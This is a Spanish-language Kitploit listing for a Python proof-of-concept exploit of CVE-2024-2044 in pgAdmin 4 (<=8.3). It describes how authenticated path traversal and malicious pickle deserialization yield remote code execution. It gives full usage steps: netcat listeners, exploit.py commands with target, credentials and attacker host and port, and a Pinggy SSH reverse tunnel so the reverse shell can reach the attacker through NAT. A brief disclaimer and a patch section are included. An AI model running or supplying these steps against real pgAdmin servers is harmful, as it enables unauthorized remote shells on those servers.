Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-2044 — PoC en Python que explota CVE-2024-2044 en pgAdmin 4 (<=8.3) mediante path traversal autenticado y deserialización insegura de pickle para lograr ejecución remota de código y reverse shell. | Kitploit
Herramientas/GitHubGitHub/hanzzly/cve-2024-2044
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

PoC en Python que explota CVE-2024-2044 en pgAdmin 4 (<=8.3) mediante path traversal autenticado y deserialización insegura de pickle para lograr ejecución remota de código y reverse shell.

hace 19h 5mAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC CVE-2024-2044: pgAdmin 4 RCE Autenticado (Linux/POSIX)

Este repositorio contiene un script Proof of Concept (PoC) para CVE-2024-2044, una vulnerabilidad crítica que combina Authenticated Path Traversal y Unsafe Deserialization en pgAdmin 4 (versión 8.3 e inferiores) ejecutándose en entornos Linux/POSIX.

[!WARNING] DISCLAIMER: Este código fue creado únicamente con fines educativos, de investigación de seguridad y de pruebas de penetración autorizadas (authorized pentesting). El uso indebido de este código para atacar objetivos sin autorización por escrito es un acto ilegal y viola la ley.


Descripción de la Vulnerabilidad

En pgAdmin 4 con modo servidor en entornos Linux, la gestión de sesiones se almacena en forma de archivos locales. La vulnerabilidad ocurre porque la función FileBackedSessionManager.get() acepta el valor de la cookie HTTP pga4_session y lo concatena a la ruta del directorio usando os.path.join sin sanitizar los caracteres de manipulación de ruta (../).

Este script PoC explota dicha brecha con el siguiente flujo:

  1. Autenticación: Realiza un inicio de sesión automático usando credenciales válidas para obtener una sesión activa y omitir el token CSRF.
  2. Carga del Payload: Aprovecha la utilidad Storage Manager integrada para subir un objeto Python pickle malicioso que contiene un comando de Reverse Shell. Este archivo se almacena bajo el directorio de almacenamiento del usuario (por ejemplo: /storage/nombre_usuario/).
  3. Disparo del Path Traversal: Envía una petición HTTP de vuelta a /login manipulando la cookie pga4_session para que apunte a una ruta relativa hacia el archivo pickle subido (por ejemplo: ../storage/nombre_usuario/archivo.pickle!). El signo ! se utiliza para ajustarse a la búsqueda de extensión de archivo de sesión en pgAdmin 4.
  4. Ejecución de Código (RCE): El servidor pgAdmin 4 es engañado para leer dicho archivo y procesarlo con pickle.loads(). Como resultado, el payload ejecuta un proceso Python separado (detached) que lanza un Reverse Shell hacia el atacante.

Requisitos (Prerequisites)

  • Objetivo: pgAdmin 4 <= 8.3 (Server Mode) ejecutándose en Linux/POSIX.
  • Acceso: Requiere una cuenta de inicio de sesión válida (Username & Password).
  • Dependencias del Script: Python 3 y la librería requests.

Guía de Uso

Opción A: Usando IP Pública Directa (Local/VPN)

  1. Abra el puerto de netcat en su máquina para recibir la conexión del reverse shell:
    root@kitploit:~
    nc -lvnp 4444
    
  2. Ejecute el script de explotación:
    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
    

Opción B: Usando Port Forwarding (Pinggy.io)

Si su máquina se encuentra detrás de un NAT/Router y necesita tunnelling público, puede usar el servicio Pinggy.io con los siguientes pasos:

1. Ejecute el Netcat Listener Local

Encienda nc en la máquina local primero usando el puerto de su elección (por ejemplo: puerto 1337):

root@kitploit:~
nc -lvnp 1337

2. Ejecute el Pinggy Tunnel

Abra una nueva terminal y ejecute el comando SSH de Pinggy. Asegúrese de que el puerto local al final (1337) coincida con el puerto nc que encendió previamente:

root@kitploit:~
ssh -p 443 -R0:localhost:1337 [email protected]

Una vez conectado, Pinggy le proporcionará una URL pública TCP, por ejemplo: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

Nota: El puerto público obtenido de Pinggy es 43143 (este será el -lport más adelante).

3. Encuentre la IP Real de Pinggy (Obtener el LHOST)

El servidor pgAdmin 4 objetivo necesita el formato de dirección IP real para la conexión del socket del reverse shell. Realice un nslookup sobre el dominio de su URL de Pinggy:

root@kitploit:~
nslookup ubylm-103-79-246-198.run.pinggy-free.link

La salida mostrará la IP pública del servidor de Pinggy (elija la IPv4 en la sección Address más arriba):

root@kitploit:~
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
Name:   lin.ap.12.a.pinggy.click
Address: 172.236.148.125

De la salida anterior, se obtiene la IP real de Pinggy: 172.236.148.125.

image

4. Ejecute el Script de Explotación

Ejecute el script PoC introduciendo la IP resultante del nslookup como -lhost y el puerto público de Pinggy como -lport:

root@kitploit:~
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
image
image

Parámetros de Opciones del Script

  • -t, --target : URL objetivo de pgAdmin 4 (Obligatorio).
  • -u, --username: Email/Username de inicio de sesión (Default: [email protected]).
  • -p, --password: Password de inicio de sesión (Default: player123).
  • -lhost : Dirección IP del atacante / IP resultante del nslookup de Pinggy (Obligatorio).
  • -lport : Puerto listener del atacante / Puerto público de Pinggy (Obligatorio).

Mitigación

Esta vulnerabilidad ha sido corregida en pgAdmin 4 versión 8.4. Si administra un servidor vulnerable, realice de inmediato las siguientes acciones:

  1. Actualice pgAdmin 4 a la versión 8.4 o superior.
  2. Restrinja el acceso de red al panel de pgAdmin 4 usando VPN o Firewall Whitelist.
  3. Asegúrese de que el proceso de pgAdmin 4 se ejecute con privilegios de usuario común (non-root).
Descargar herramienta